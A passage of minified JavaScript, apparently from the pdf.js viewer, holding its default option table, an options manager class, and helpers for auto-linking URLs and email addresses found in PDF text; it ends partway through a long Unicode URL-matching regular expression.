$={BROWSER:1,VIEWER:2,API:4,WORKER:8,EVENT_DISPATCH:16,PREFERENCE:128},M0={BOOLEAN:1,NUMBER:2,OBJECT:4,STRING:8,UNDEFINED:16},Os={allowedGlobalEvents:{value:null,kind:$.BROWSER},canvasMaxAreaInBytes:{value:-1,kind:$.BROWSER+$.API},isInAutomation:{value:!1,kind:$.BROWSER},localeProperties:{value:{lang:navigator.language||"en-US"},kind:$.BROWSER},maxCanvasDim:{value:32767,kind:$.BROWSER+$.VIEWER},nimbusDataStr:{value:"",kind:$.BROWSER},supportsCaretBrowsingMode:{value:!1,kind:$.BROWSER},supportsDocumentFonts:{value:!0,kind:$.BROWSER},supportsIntegratedFind:{value:!1,kind:$.BROWSER},supportsMouseWheelZoomCtrlKey:{value:!0,kind:$.BROWSER},supportsMouseWheelZoomMetaKey:{value:!0,kind:$.BROWSER},supportsPinchToZoom:{value:!0,kind:$.BROWSER},supportsPrinting:{value:!0,kind:$.BROWSER},toolbarDensity:{value:0,kind:$.BROWSER+$.EVENT_DISPATCH},altTextLearnMoreUrl:{value:"",kind:$.VIEWER+$.PREFERENCE},annotationEditorMode:{value:0,kind:$.VIEWER+$.PREFERENCE},annotationMode:{value:2,kind:$.VIEWER+$.PREFERENCE},capCanvasAreaFactor:{value:200,kind:$.VIEWER+$.PREFERENCE},commentLearnMoreUrl:{value:"",kind:$.VIEWER+$.PREFERENCE},cursorToolOnLoad:{value:0,kind:$.VIEWER+$.PREFERENCE},debuggerSrc:{value:"./debugger.mjs",kind:$.VIEWER},defaultZoomDelay:{value:400,kind:$.VIEWER+$.PREFERENCE},defaultZoomValue:{value:"",kind:$.VIEWER+$.PREFERENCE},disableHistory:{value:!1,kind:$.VIEWER},disablePageLabels:{value:!1,kind:$.VIEWER+$.PREFERENCE},enableAltText:{value:!1,kind:$.VIEWER+$.PREFERENCE},enableAltTextModelDownload:{value:!0,kind:$.VIEWER+$.PREFERENCE+$.EVENT_DISPATCH},enableAutoLinking:{value:!0,kind:$.VIEWER+$.PREFERENCE},enableComment:{value:!1,kind:$.VIEWER+$.PREFERENCE},enableDetailCanvas:{value:!0,kind:$.VIEWER},enableGuessAltText:{value:!0,kind:$.VIEWER+$.PREFERENCE+$.EVENT_DISPATCH},enableHighlightFloatingButton:{value:!1,kind:$.VIEWER+$.PREFERENCE},enableMerge:{value:!1,kind:$.VIEWER+$.PREFERENCE},enableNewAltTextWhenAddingImage:{value:!0,kind:$.VIEWER+$.PREFERENCE},enableNewBadge:{value:!1,kind:$.VIEWER+$.PREFERENCE},enableOptimizedPartialRendering:{value:!1,kind:$.VIEWER+$.PREFERENCE},enablePermissions:{value:!1,kind:$.VIEWER+$.PREFERENCE},enablePrintAutoRotate:{value:!0,kind:$.VIEWER+$.PREFERENCE},enableScripting:{value:!0,kind:$.VIEWER+$.PREFERENCE},enableSignatureEditor:{value:!1,kind:$.VIEWER+$.PREFERENCE},enableSplitMerge:{value:!1,kind:$.VIEWER+$.PREFERENCE},enableUpdatedAddImage:{value:!1,kind:$.VIEWER+$.PREFERENCE},externalLinkRel:{value:"noopener noreferrer nofollow",kind:$.VIEWER},externalLinkTarget:{value:0,kind:$.VIEWER+$.PREFERENCE},highlightEditorColors:{value:"yellow=#FFFF98,green=#53FFBC,blue=#80EBFF,pink=#FFCBE6,red=#FF4F5F,yellow_HCM=#FFFFCC,green_HCM=#53FFBC,blue_HCM=#80EBFF,pink_HCM=#F6B8FF,red_HCM=#C50043",kind:$.VIEWER+$.PREFERENCE},historyUpdateUrl:{value:!1,kind:$.VIEWER+$.PREFERENCE},ignoreDestinationZoom:{value:!1,kind:$.VIEWER+$.PREFERENCE},imageResourcesPath:{value:"./images/",kind:$.VIEWER},imagesRightClickMinSize:{value:-1,kind:$.VIEWER+$.PREFERENCE},maxCanvasPixels:{value:2**25,kind:$.VIEWER},minDurationToUpdateCanvas:{value:500,kind:$.VIEWER},forcePageColors:{value:!1,kind:$.VIEWER+$.PREFERENCE},pageColorsBackground:{value:"Canvas",kind:$.VIEWER+$.PREFERENCE},pageColorsForeground:{value:"CanvasText",kind:$.VIEWER+$.PREFERENCE},pdfBugEnabled:{value:!1,kind:$.VIEWER+$.PREFERENCE},printResolution:{value:150,kind:$.VIEWER},sidebarViewOnLoad:{value:-1,kind:$.VIEWER+$.PREFERENCE},scrollModeOnLoad:{value:-1,kind:$.VIEWER+$.PREFERENCE},spreadModeOnLoad:{value:-1,kind:$.VIEWER+$.PREFERENCE},textLayerMode:{value:1,kind:$.VIEWER+$.PREFERENCE},viewerCssTheme:{value:0,kind:$.VIEWER+$.PREFERENCE},viewOnLoad:{value:0,kind:$.VIEWER+$.PREFERENCE},cMapPacked:{value:!0,kind:$.API},cMapUrl:{value:"../web/cmaps/",kind:$.API},disableAutoFetch:{value:!1,kind:$.API+$.PREFERENCE},disableFontFace:{value:!1,kind:$.API+$.PREFERENCE},disableRange:{value:!1,kind:$.API+$.PREFERENCE},disableStream:{value:!1,kind:$.API+$.PREFERENCE},docBaseUrl:{value:"",kind:$.API},enableHWA:{value:!0,kind:$.API+$.PREFERENCE},enableWebGPU:{value:!0,kind:$.API+$.PREFERENCE},enableXfa:{value:!0,kind:$.API+$.PREFERENCE},fontExtraProperties:{value:!1,kind:$.API},iccUrl:{value:"../web/iccs/",kind:$.API},isOffscreenCanvasSupported:{value:!0,kind:$.API},maxImageSize:{value:-1,kind:$.API},pdfBug:{value:!1,kind:$.API},standardFontDataUrl:{value:"../web/standard_fonts/",kind:$.API},useSystemFonts:{value:void 0,kind:$.API,type:M0.BOOLEAN+M0.UNDEFINED},verbosity:{value:1,kind:$.API},wasmUrl:{value:"../web/wasm/",kind:$.API},workerPort:{value:null,kind:$.WORKER},workerSrc:{value:"../build/pdf.worker.mjs",kind:$.WORKER}};Os.defaultUrl={value:"compressed.tracemonkey-pldi-09.pdf",kind:$.VIEWER},Os.sandboxBundleSrc={value:"../build/pdf.sandbox.mjs",kind:$.VIEWER},Os.enableFakeMLManager={value:!0,kind:$.VIEWER};Os.disablePreferences={value:!1,kind:$.VIEWER};var Ka;const _r=class _r{static get(e){return a(this,Ka).get(e)}static getAll(e=null,t=!1){const n=Object.create(null);for(const r in Os){const i=Os[r];e&&!(e&i.kind)||(n[r]=t?i.value:a(this,Ka).get(r))}return n}static set(e,t){this.setAll({[e]:t})}static setAll(e,t=!1){this._hasInvokedSet||(this._hasInvokedSet=!0);let n;for(const r in e){const i=Os[r],s=e[r];if(!i||!(typeof s==typeof i.value||M0[(typeof s).toUpperCase()]&i.type))continue;const{kind:o}=i;t&&!(o&$.BROWSER||o&$.PREFERENCE)||(this.eventBus&&o&$.EVENT_DISPATCH&&(n||(n=new Map)).set(r,s),a(this,Ka).set(r,s))}if(n)for(const[r,i]of n)this.eventBus.dispatch(r.toLowerCase(),{source:this,value:i})}};Ka=new WeakMap,M(_r,"eventBus"),b(_r,Ka,new Map),(()=>{for(const e in Os)a(_r,Ka).set(e,Os[e].value);for(const[e,t]of O0)a(_r,Ka).set(e,t);_r._hasInvokedSet=!1,_r._checkDisablePreferences=()=>_r.get("disablePreferences")?!0:(_r._hasInvokedSet&&console.warn('The Preferences may override manually set AppOptions; please use the "disablePreferences"-option to prevent that.'),!1)})();let Ad=_r;function D1({width:h,height:e,left:t,top:n},r){if(h===0||e===0)return null;const i=r.textLayer.div.getBoundingClientRect(),s=r.getPagePoint(t-i.left,n-i.top),o=r.getPagePoint(t-i.left+h,n-i.top+e);return fb.normalizeRect([s[0],s[1],o[0],o[1]])}function LP(h,e){const t=h.getClientRects();if(t.length===1)return{rect:D1(t[0],e)};const n=[1/0,1/0,-1/0,-1/0],r=[];let i=0;for(const s of t){const o=D1(s,e);o!==null&&(r[i]=r[i+4]=o[0],r[i+1]=r[i+3]=o[3],r[i+2]=r[i+6]=o[2],r[i+5]=r[i+7]=o[1],fb.rectBoundingBox(...o,n),i+=8)}return{quadPoints:r,rect:n}}function O1(h,e){let t=h;do{if(t.nodeType===Node.TEXT_NODE){const n=t.textContent.length;if(e<=n)return[t,e];e-=n}else if(t.firstChild){t=t.firstChild;continue}for(;!t.nextSibling&&t!==h;)t=t.parentNode;t!==h&&(t=t.nextSibling)}while(t!==h);throw new Error("Offset is bigger than container's contents length.")}function NP({url:h,index:e,length:t},n,r){const i=n._textHighlighter,[{begin:s,end:o}]=i._convertMatches([e],[t]),l=new Range;return l.setStart(...O1(i.textDivs[s.divIdx],s.offset)),l.setEnd(...O1(i.textDivs[o.divIdx],o.offset)),{id:`inferred_link_${r}`,unsafeUrl:h,url:h,annotationType:pw.LINK,rotation:0,...LP(l,n),borderStyle:null}}var sv,Pp,Ip;class fm{static findLinks(e){var s;a(this,Pp)??g(this,Pp,new RegExp("\\b(?:https?:\\/\\/|mailto:|www\\.)(?:[\\0-\\x08\\x0E-\\x1F\\$\\+0-9=A-Z\\^`-z\\|~-\\x9F\\xA2-\\xA6\\xA8-\\xAA\\xAC-\\xB5\\xB8-\\xBA\\xBC-\\xBE\\xC0-\\u037D\\u037F-\\u0386\\u0388-\\u0559\\u0560-\\u0588\\u058B-\\u05BD\\u05BF\\u05C1\\u05C2\\u05C4\\u05C5\\u05C7-\\u05F2\\u05F5-\\u0608\\u060B\\u060E-\\u061A\\u061C\\u0620-\\u0669\\u066E-\\u06D3\\u06D5-\\u06FF\\u070E-\\u07F6\\u07FA-\\u082F\\u083F-\\u085D\\u085F-\\u0963\\u0966-\\u096F\\u0971-\\u09FC\\u09FE-\\u0A75\\u0A77-\\u0AEF\\u0AF1-\\u0C76\\u0C78-\\u0C83\\u0C85-\\u0DF3\\u0DF5-\\u0E4E\\u0E50-\\u0E59\\u0E5C-\\u0F03\\u0F13\\u0F15-\\u0F39\\u0F3E-\\u0F84\\u0F86-\\u0FCF\\u0FD5-\\u0FD8\\u0FDB-\\u1049\\u1050-\\u10FA\\u10FC-\\u135F\\u1369-\\u13FF\\u1401-\\u166D\\u166F-\\u167F\\u1681-\\u169A\\u169D-\\u16EA\\u16EE-\\u1734\\u1737-\\u17D3\\u17D7\\u17DB-\\u17FF\\u180B-\\u1943\\u1946-\\u1A1D\\u1A20-\\u1A9F\\u1AA7\\u1AAE-\\u1B4D\\u1B50-\\u1B59\\u1B61-\\u1B7C\\u1B80-\\u1BFB\\u1C00-\\u1C3A\\u1C40-\\u1C7D\\u1C80-\\u1CBF\\u1CC8-\\u1CD2\\u1CD4-\\u1FFF\\u200B-\\u200F\\u202A-\\u202E\\u2044\\u2052\\u2060-\\u207C\\u207F-\\u208C\\u208F-\\u2307\\u230C-\\u2328\\u232B-\\u2767\\u2776-\\u27C4\\u27C7-\\u27E5\\u27F0-\\u2982\\u2999-\\u29D7\\u29DC-\\u29FB\\u29FE-\\u2CF8\\u2CFD\\u2D00-\\u2D6F\\u2D71-\\u2DFF\\u2E2F\\u2E50\\u2E51\\u2E5E-\\u2FFF\\u3004-\\u3007\\u3012\\u3013\\u3020-\\u302F\\u3031-\\u303C\\u303E-\\u309F\\u30A1-\\u30FA\\u30FC-\\uA4FD\\uA500-\\uA60C\\uA610-\\uA672\\uA674-\\uA67D\\uA67F-\\uA6F1\\uA6F8-\\uA873\\uA878-\\uA8CD\\uA8D0-\\uA8F7\\uA8FB\\uA8FD-\\uA92D\\uA930-\\uA95E\\uA960-\\uA9C0\\uA9CE-\\uA9DD\\uA9E0-\\uAA5B\\uAA60-\\uAADD\\uAAE0-\\uAAEF\\uAAF2-\\uABEA\\uABEC-\\uFD3D\\uFD40-\\uFE0F\\uFE1A-\\uFE2F\\uFE53\\uFE62\\uFE64-\\uFE67\\uFE69\\uFE6C-\\uFEFE\\uFF00\\uFF04\\uFF0B\\uFF10-\\uFF19\\uFF1C-\\uFF1E\\uFF21-\\uFF3A\\uFF3E\\uFF40-\\uFF5A\\uFF5C\\uFF5E\\uFF66-\\u{100FF}\\u{10103}-\\u{1039E}\\u{103A0}-\\u{103CF}\\u{103D1}-\\u{1056E}\\u{10570}-\\u{10856}\\u{10858}-\\u{1091E}\\u{10920}-\\u{1093E}\\u{10940}-\\u{10A4F}\\u{10A59}-\\u{10A7E}\\u{10A80}-\\u{10AEF}\\u{10AF7}-\\u{10B38}\\u{10B40}-\\u{10B98}\\u{10B9D}-\\u{10D6D}\\u{10D6F}-\\u{10EAC}\\u{10EAE}-\\u{10ECF}\\u{10ED1}-\\u{10F54}\\u{10F5A}-\\u{10F85}\\u{10F8A}-\\u{11046}\\u{1104E}-\\u{110BA}\\u{110BD}\\u{110C2}-\\u{1113F}\\u{11144}-\\u{11173}\\u{11176}-\\u{111C4}\\u{111C9}-\\u{111CC}\\u{111CE}-\\u{111DA}\\u{111DC}\\u{111E0}-\\u{11237}\\u{1123E}-\\u{112A8}\\u{112AA}-\\u{113D3}\\u{113D6}\\u{113D9}-\\u{1144A}\\u{11450}-\\u{11459}\\u{1145C}\\u{1145E}-\\u{114C5}\\u{114C7}-\\u{115C0}\\u{115D8}-\\u{11640}\\u{11644}-\\u{1165F}\\u{1166D}-\\u{116B8}\\u{116BA}-\\u{1173B}\\u{1173F}-\\u{1183A}\\u{1183C}-\\u{11943}\\u{11947}-\\u{119E1}\\u{119E3}-\\u{11A3E}\\u{11A47}-\\u{11A99}\\u{11A9D}\\u{11AA3}-\\u{11AFF}\\u{11B0A}-\\u{11BE0}\\u{11BE2}-\\u{11C40}\\u{11C46}-\\u{11C6F}\\u{11C72}-\\u{11EF6}\\u{11EF9}-\\u{11F42}\\u{11F50}-\\u{11FFE}\\u{12000}-\\u{1246F}\\u{12475}-\\u{12FF0}\\u{12FF3}-\\u{16A6D}\\u{16A70}-\\u{16AF4}\\u{16AF6}-\\u{16B36}\\u{16B3C}-\\u{16B43}\\u{16B45}-\\u{16D6C}\\u{16D70}-\\u{16E96}\\u{16E9B}-\\u{16FE1}\\u{16FE3}-\\u{1BC9E}\\u{1BCA0}-\\u{1DA86}\\u{1DA8C}-\\u{1E5FE}\\u{1E600}-\\u{1E95D}\\u{1E960}-\\u{10FFFF}]|\\/|[\\0-\\x08\\x0E-\\x1F!-Z\\\\\\^-\\x9F\\xA1-\\u167F\\u1681-\\u1FFF\\u200B-\\u2027\\u202A-\\u202E\\u2030-\\u205E\\u2060-\\u2FFF\\u3001-\\uFEFE\\uFF00-\\u{10FFFF}]+[\\0-\\x08\\x0E-\\x1F\\$\\+0-9=A-Z\\^`-z\\|~-\\x9F\\xA2-\\xA6\\xA8-\\xAA\\xAC-\\xB5\\xB8-\\xBA\\xBC-\\xBE\\xC0-\\u037D\\u037F-\\u0386\\u0388-\\u0559\\u0560-\\u0588\\u058B-\\u05BD\\u05BF\\u05C1\\u05C2\\u05C4\\u05C5\\u05C7-\\u05F2\\u05F5-\\u0608\\u060B\\u060E-\\u061A\\u061C\\u0620-\\u0669\\u066E-\\u06D3\\u06D5-\\u06FF\\u070E-\\u07F6\\u07FA-\\u082F\\u083F-\\u085D\\u085F-\\u0963\\u0966-\\u096F\\u0971-\\u09FC\\u09FE-\\u0A75\\u0A77-\\u0AEF\\u0AF1-\\u0C76\\u0C78-\\u0C83\\u0C85-\\u0DF3\\u0DF5-\\u0E4E\\u0E50-\\u0E59\\u0E5C-\\u0F03\\u0F13\\u0F15-\\u0F39\\u0F3E-\\u0F84\\u0F86-\\u0FCF\\u0FD5-\\u0FD8\\u0FDB-\\u1049\\u1050-\\u10FA\\u10FC-\\u135F\\u1369-\\u13FF\\u1401-\\u166D\\u166F-\\u167F\\u1681-\\u169A\\u169D-\\u16EA\\u16EE-\\u1734\\u1737-\\u17D3\\u17D7\\u17DB-\\u17FF\\u180B-\\u1943\\u1946-\\u1A1D\\u1A20-\\u1A9F\\u1AA7\\u1AAE-\\u1B4D\\u1B50-\\u1B59\\u1B61-\\u1B7C\\u1B80-\\u1BFB\\u1C00-\\u1C3A\\u1C40-\\u1C7D\\u1C80-\\u1CBF\\u1CC8-\\u1CD2\\u1CD4-\\u1FFF\\u200B-\\u200F\\u202A-\\u202E\\u2044\\u2052\\u2060-\\u207C\\u207F-\\u208C\\u208F-\\u2307\\u230C-\\u2328\\u232B-\\u2767\\u2776-\\u27C4\\u27C7-\\u27E5\\u27F0-\\u2982\\u2999-\\u29D7\\u29DC-\\u29FB\\u29FE-\\u2CF8\\u2CFD\\u2D00-\\u2D6F\\u2D71-\\u2DFF\\u2E2F\\u2E50\\u2E51\\u2E5E-\\u2FFF\\u3004-\\u3007\\u3012\\u3013\\u3020-\\u302F\\u3031-\\u303C\\u303E-\\u309F\\u30A1-\\u30FA\\u30FC-\\uA4FD\\uA500-\\uA60C\\uA610-\\uA672\\uA674-\\uA67D\\uA67F-\\uA6F1\\uA6F8-\\uA873\\uA878-\\uA8CD\\uA8D0-\\uA8F7\\uA8FB\\uA8FD-\\uA92D\\uA930-\\uA95E\\uA960-\\uA9C0\\uA9CE-\\uA9DD\\uA9E0-\\uAA5B\\uAA60-\\uAADD\\uAAE0-\\uAAEF\\uAAF2-\\uABEA\\uABEC-\\uFD3D\\uFD40-\\uFE0F\\uFE1A-\\uFE2F\\uFE53\\uFE62\\uFE64-\\uFE67\\uFE69\\uFE6C-\\uFEFE\\uFF00\\uFF04\\uFF0B\\uFF10-\\uFF19\\uFF1C-\\uFF1E\\uFF21-\\uFF3A\\uFF3E\\uFF40-\\uFF5A\\uFF5C\\uFF5E\\uFF66-\\u{100FF}\\u{10103}-\\u{1039E}\\u{103A0}-\\u{103CF}\\u{103D1}-\\u{1056E}\\u{10570}-\\u{10856}\\u{10858}-\\u{1091E}\\u{10920}-\\u{1093E}\\u{10940}-\\u{10A4F}\\u{10A59}-\\u{10A7E}\\u{10A80}-\\u{10AEF}\\u{10AF7}-\\u{10B38}\\u{10B40}-\\u{10B98}\\u{10B9D}-\\u{10D6D}\\u{10D6F}-\\u{10EAC}\\u{10EAE}-\\u{10ECF}\\u{10ED1}-\\u{10F54}\\u{10F5A}-\\u{10F85}\\u{10F8A}-\\u{11046}\\u{1104E}-\\u{110BA}\\u{110BD}\\u{110C2}-\\u{1113F}\\u{11144}-\\u{11173}\\u{11176}-\\u{111C4}\\u{111C9}-\\u{111CC}\\u{111CE}-\\u{111DA}\\u{111DC}\\u{111E0}-\\u{11237}\\u{1123E}-\\u{112A8}\\u{112AA}-\\u{113D3}\\u{113D6}\\u{113D9}-\\u{1144A}\\u{11450}-\\u{11459}\\u{1145C}\\u{1145E}-\\u{114C5}\\u{114C7}-\\u{115C0}\\u{115D8}-\\u{11640}\\u{11644}-\\u{1165F}\\u{1166D}-\\u{116B8}\\u{116BA}-\\u{1173B}\\u{1173F}-\\u{1183A}\\u{1183C}-\\u{11943}\\u{11947}-\\u{119E1}\\u{119E3}-\\u{11A3E}\\u{11A47}-\\u{11A99}\\u{11A9D}\\u{11AA3}-\\u{11AFF}\\u{11B0A}-\\u{11BE0}\\u{11BE2}-\\u{11C40}\\u{11C46}-\\u{11C6F}\\u{11C72}-\\u{11EF6}\\u{11EF9}-\\u{11F42}\\u{11F50}-\\u{11FFE}\\u{12000}-\\u{1246F}\\u{12475}-\\u{12FF0}\\u{12FF3}-\\u{16A6D}\\u{16A70}-\\u{16AF4}\\u{16AF6}-\\u{16B36}\\u{16B3C}-\\u{16B43}\\u{16B45}-\\u{16D6C}\\u{16D70}-\\u{16E96}\\u{16E9B}-\\u{16FE1}\\u{16FE3}-\\u{1BC9E}\\u{1BCA0}-\\u{1DA86}\\u{1DA8C}-\\u{1E5FE}\\u{1E600}-\\u{1E95D}\\u{1E960}-\\u{10FFFF}])+|(?=\\p{L})[\\0-\\x08\\x0E-\\x1F!-'\\*-;=\\?A-Z\\\\\\^-z\\|~-\\x9F\\xA1-\\u0F39\\u0F3E-\\u167F\\u1681-\\u169A\\u169D-\\u1FFF\\u200B-\\u2019\\u201B-\\u201D\\u201F-\\u2027\\u202A-\\u202E\\u2030-\\u2044\\u2047-\\u205E\\u2060-\\u207C\\u207F-\\u208C\\u208F-\\u2307\\u230C-\\u2328\\u232B-\\u2767\\u2776-\\u27C4\\u27C7-\\u27E5\\u27F0-\\u2982\\u2999-\\u29D7\\u29DC-\\u29FB\\u29FE-\\u2E21\\u2E2A-\\u2E41\\u2E43-\\u2E54\\u2E5D-\\u2FFF\\u3001-\\u3007\\u3012\\u3013\\u301C\\u3020-\\uFD3D\\uFD40-\\uFE16\\uFE19-\\uFE34\\uFE45\\uFE46\\uFE49-\\uFE58\\uFE5F-\\uFEFE\\uFF00-\\uFF07\\uFF0A-\\uFF3A\\uFF3C\\uFF3E-\\uFF5A\\uFF5C\\uFF5E\\uFF61\\uFF64-\\u{10FFFF}]+@([\\0-\\x08\\x0E-\\x1F\\$\\+\\x2D0-9=A-Z\\^`-z\\|~-\\x9F\\xA2-\\xA6\\xA8-\\xAA\\xAC-\\xB5\\xB8-\\xBA\\xBC-\\xBE\\xC0-\\u037D\\u037F-\\u0386\\u0388-\\u0559\\u0560-\\u0588\\u058B-\\u05BD\\u05BF\\u05C1\\u05C2\\u05C4\\u05C5\\u05C7-\\u05F2\\u05F5-\\u0608\\u060B\\u060E-\\u061A\\u061C\\u0620-\\u0669\\u066E-\\u06D3\\u06D5-\\u06FF\\u070E-\\u07F6\\u07FA-\\u082F\\u083F-\\u085D\\u085F-\\u0963\\u0966-\\u096F\\u0971-\\u09FC\\u09FE-\\u0A75\\u0A77-\\u0AEF\\u0AF1-\\u0C76\\u0C78-\\u0C83\\u0C85-\\u0DF3\\u0DF5-\\u0E4E\\u0E50-\\u0E59\\u0E5C-\\u0F03\\u0F13\\u0F15-\\u0F39\\u0F3E-\\u0F84\\u0F86-\\u0FCF\\u0FD5-\\u0FD8\\u0FDB-\\u1049\\u1050-\\u10FA\\u10FC-\\u135F\\u1369-\\u13FF\\u1401-\\u166D\\u166F-\\u167F\\u1681-\\u169A\\u169D-\\u16EA\\u16EE-\\u1734\\u1737-\\u17D3\\u17D7\\u17DB-\\u17FF\\u180B-\\u1943\\u1946-\\u1A1D\\u1A20-\\u1A9F\\u1AA7\\u1AAE-\\u1B4D\\u1B50-\\u1B59\\u1B61-\\u1B7C\\u1B80-\\u1BFB\\u1C00-\\u1C3A\\u1C40-\\u1C7D\\u1C80-\\u1CBF\\u1CC8-\\u1CD2\\u1CD4-\\u1FFF\\u200B-\\u200F\\u202A-\\u202E\\u2044\\u2052\\u2060-\\u207C\\u207F-\\u208C\\u208F-\\u2307\\u230C-\\u2328\\u232B-\\u2767\\u2776-\\u27C4\\u27C7-\\u27E5\\u27F0-\\u2982\\u2999-\\u29D7\\u29DC-\\u29FB\\u29FE-\\u2CF8\\u2CFD\\u2D00-\\u2D6F\\u2D71-\\u2DFF\\u2E2F\\u2E50\\u2E51\\u2E5E-\\u2FFF\\u3004-\\u3007\\u3012\\u3013\\u3020-\\u302F\\u3031-\\u303C\\u303E-\\u309F\\u30A1-\\u30FA\\u30FC-\\uA4FD\\uA500-\\uA60C\\uA610-\\uA672\\uA674-\\uA67D\\uA67F-\\uA6F1\\uA6F8-\\uA873\\uA878-\\uA8CD\\uA8D0-\\uA8F7\\uA8FB\\uA8FD-\\uA92D\\uA930-\\uA95E\\uA960-\\uA9C0\\uA9CE-\\uA9DD\\uA9E0-\\uAA5B\\uAA60-\\uAADD\\uAAE0-\\uAAEF\\uAAF2-\\uABEA\\uABEC-\\uFD3D\\uFD40-\\uFE0F\\uFE1A-\\uFE2F\\uFE53\\uFE62\\uFE64-\\uFE67\\uFE69\\uFE6C-\\uFEFE\\uFF00\\uFF04\\uFF0B\\uFF10-\\uFF19\\uFF1C-\\uFF1E\\uFF21-\\uFF3A\\uFF3E\\uFF40-\\uFF5A\\uFF5C\\uFF5E\\uFF66-\\u{100FF}\\u{10103}-\\u{1039E}\\u{103A0}-\\u{103CF}\\u{103D1}-\\u{1056E}\\u{10570}-\\u{10856}\\u{10858}-\\u{1091E}\\u{10920}-\\u{1093E}\\u{10940}-\\u{10A4F}\\u{10A59}-\\u{10A7E}\\u{10A80}-\\u{10AEF}\\u{10AF7}-\\u{10B38}\\u{10B40}-\\u{10B98}\\u{10B9D}-\\u{10D6D}\\u{10D6F}-\\u{10EAC}\\u{10EAE}-\\u{10ECF}\\u{10ED1}-\\u{10F54}\\u{10F5A}-\\u{10F85}\\u{10F8A}-\\u{11046}\\u{1104E}-\\u{110BA}\\u{110BD}\\u{110C2}-\\u{1113F}\\u{11144}-\\u{11173}\\u{11176}-\\u{111C4}\\u{111C9}-\\u{111CC}\\u{111CE}-\\u{111DA}\\u{111DC}\\u{111E0}-\\u{11237}\\u{1123E}-\\u{112A8}\\u{112AA}-\\u{113D3}\\u{113D6}\\u{113D9}-\\u{1144A}\\u{11450}-\\u{11459}\\u{1145C}\\u{1145E}-\\u{114C5}\\u{114C7}-\\u{115C0}\\u{115D8}-\\u{11640}\\u{11644}-\\u{1165F}\\u{1166D}-\\u{116B8}\\u{116BA}-\\u{1173B}\\u{1173F}-\\u{1183A}\\u{1183C}-\\u{11943}\\u{11947}-\\u{119E1}\\u{119E3}-\\u{11A3E}\\u{11A47}-\\u{11A99}\\u{11A9D}\\u{11AA3}-\\u{11AFF}\\u{11B0A}-\\u{11BE0}\\u{11BE2}-\\u{11C40}\\u{11C46}-\\u{11C6F}\\u{11C72}-\\u{11EF6}\\u{11EF9}-\\u{11F42}\\u{11F50}-\\u{11FFE}\\u{12000}-\\u{1246F}\\u{12475}-\\u{12FF0}\\u{12FF3}-\\u{16A6D}\\u{16A70}-\\u{16AF4}\\u{16AF6}-\\u{16B36}\\u{16B3C}-\\u{16B43}\\u{16B45}-\\u{16D6C}\\u{16D70}-\\u{16E96}\\u{16E9B}-\\u{16FE1}\\u{16FE3}-\\u{1BC9E}\\u{1BCA0}-\\u{1DA86}\\u{1DA8C}-\\u{1E5FE}\\u{1E600}-\\u{1E95D}\\u{1E960}-\\u{10FFFF}]+(?:\\.[\\0-\\x08\\x0E-\\x1F\\$\\+\\x2D0-9=A-Z\\^`-z\\|~-\\x9F\\xA2-\\xA6\\xA8-\\xAA\\xAC-\\xB5\\xB8-\\xBA\\xBC-\\xBE\\xC0-\\u037D\\u037F-\\u0386\\u0388-\\u0559\\u0560-\\u0588\\u058B-\\u05BD\\u05BF\\u05C1\\u05C2\\u05C4\\u05C5\\u05C7-\\u05F2\\u05F5-\\u0608\\u060B\\u060E-\\u061A\\u061C\\u0620-\\u0669\\u066E-\\u06D3\\u06D5-\\u06FF\\u070E-\\u07F6\\u07FA-\\u082F\\u083F-\\u085D\\u085F-\\u0963\\u0966-\\u096F\\u0971-\\u09FC\\u09FE-\\u0A75\\u0A77-\\u0AEF\\u0AF1-\\u0C76\\u0C78-\\u0C83\\u0C85-\\u0DF3\\u0DF5-\\u0E4E\\u0E50-\\u0E59\\u0E5C-\\u0F03\\u0F13\\u0F15-\\u0F39\\u0F3E-\\u0F84\\u0F86-\\u0FCF\\u0FD5-\\u0FD8\\u0FDB-\\u1049\\u1050-\\u10FA\\u10FC-\\u135F\\u1369-\\u13FF\\u1401-\\u166D\\u166F-\\u167F\\u1681-\\u169A\\u169D-\\u16EA\\u16EE-\\u1734\\u1737-\\u17D3\\u17D7\\u17DB-\\u17FF\\u180B-\\u1943\\u1946-\\u1A1D\\u1A20-\\u1A9F\\u1AA7\\u1AAE-\\u1B4D\\u1B50-\\u1B59\\u1B61-\\u1B7C\\u1B80-\\u1BFB\\u1C00-\\u1C3A\\u1C40-\\u1C7D\\u1C80-\\u1CBF\\u1CC8-\\u1CD2\\u1CD4-\\u1FFF\\u200B-\\u200F\\u202A-\\u202E\\u2044\\u2052\\u2060-\\u207C\\u207F-\\u208C\\u208F-\\u2307\\u230C-\\u2328\\u232B-\\u2767\\u2776-\\u27C4\\u27C7-\\u27E5\\u27F0-\\u2982\\u2999-\\u29D7\\u29DC-\\u29FB\\u29FE-\\u2CF8\\u2CFD\\u2D00-\\u2D6F\\u2D71-\\u2DFF\\u2E2F\\u2E50\\u2E51\\u2E5E-\\u2FFF\\u3004-\\u3007\\u3012\\u3013\\u3020-\\u302F\\u3031-\\u303C\\u303E-\\u309F\\u30A1-\\u30FA\\u30FC-\\uA4FD\\uA500-\\uA60C\\uA610-\\uA672\\uA674-\\uA67D\\uA67F-\\uA6F1\\uA6F8-\\uA873\\uA878-\\uA8CD\\uA8D0-\\uA8F7\\uA8FB\\uA8FD-\\uA92D\\uA930-\\uA95E\\uA960-\\uA9C0\\uA9CE-\\uA9DD\\uA9E0-\\uAA5B\\uAA60-\\uAADD\\uAAE0-\\uAAEF\\uAAF2-\\uABEA\\uABEC-\\uFD3D\\uFD40-\\uFE0F\\uFE1A-\\uFE2F\\uFE53\\uFE62\\uFE64-\\uFE67\\uFE69\\uFE6C-\\uFEFE\\uFF00\\uFF04\\uFF0B\\uFF10-\\uFF19\\uFF1C-\\uFF1E\\uFF21-\\uFF3A\\uFF3E\\uFF40-\\uFF5A\\uFF5C\\uFF5E\\uFF66-\\u{100FF}\\u{10103}-\\u{1039E}\\u{103A0}-\\u{103CF}\\u{103D1}-\\u{1056E}\\u{10570}-\\u{10856}\\u{10858}-\\u{1091E}\\u{10920}-\\u{1093E}\\u{10940}-\\u{10A4F}\\u{10A59}-\\u{10A7E}\\u{10A80}-\\u{10AEF}\\u{10AF7}-\\u{10B38}\\u{10B40}-\\u{10B98}\\u{10B9D}-\\u{10D6D}\\u{10D6F}-\\u{10EAC}\\u{10EAE}-\\u{10ECF}\\u{10ED1}-\\u{10F54}\\u{10F5A}-\\u{10F85}\\u{10F8A}-\\u{11046}\\u{1104E}-\\u{110BA}\\u{110BD}\\u{110C2}-\\u{1113F}\\u{11144}-\\u{11173}\\u{11176}-\\u{111C4}\\u{111C9}-\\u{111CC}\\u{111CE}-\\u{111DA}\